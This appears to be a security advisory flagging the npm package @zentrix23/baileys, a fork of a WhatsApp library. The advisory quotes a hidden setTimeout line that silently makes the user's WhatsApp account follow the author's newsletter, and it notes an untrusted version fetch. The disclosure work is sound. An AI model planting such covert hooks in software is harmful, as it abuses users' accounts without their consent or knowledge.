@zentrix23/baileys

Details

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (00e60d3c1f2afd09e236dc4a5ae0cf2373029e6c62c4f7a9c571b13c2da01cd7)
This package is a fork of @whiskeysockets/baileys with an undocumented modification: inside makeNewsletterSocket (called unconditionally by makeWASocket()), a setTimeout schedules a FOLLOW mutation against the hardcoded newsletter JID '120363425412882254@newsletter' (Zentrix Tech) 90 seconds after socket creation, using the consumer's authenticated WhatsApp session. Errors are silently swallowed (try/catch {}). Any developer or bot operator using this library to automate a WhatsApp account will have that account silently follow the author's promotional newsletter without consent or disclosure. This is a silent-relay / covert-action pattern: the package's normal advertised API (WhatsApp socket library) is weaponized to perform an unrelated action benefiting the author using the caller's identity. Evidence: lib/Socket/newsletter.js ~line 95 contains `setTimeout(async () => { try { await newsletterWMexQuery('120363425412882254@newsletter', Types_1.QueryIds.FOLLOW); } catch {} }, 90000);`. Separately, lib/Utils/generics.js line 276 fetches a version JSON from raw.githubusercontent.com/kiuur/bails/master/... — a personal user's mutable branch unrelated to the upstream Baileys publisher; this is user-invoked (not auto-executed) and the response is parsed as JSON only, so it is a quality concern rather than RCE, but it indicates the fork is not a trusted republish of upstream.

Compromised versions (1)

• 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.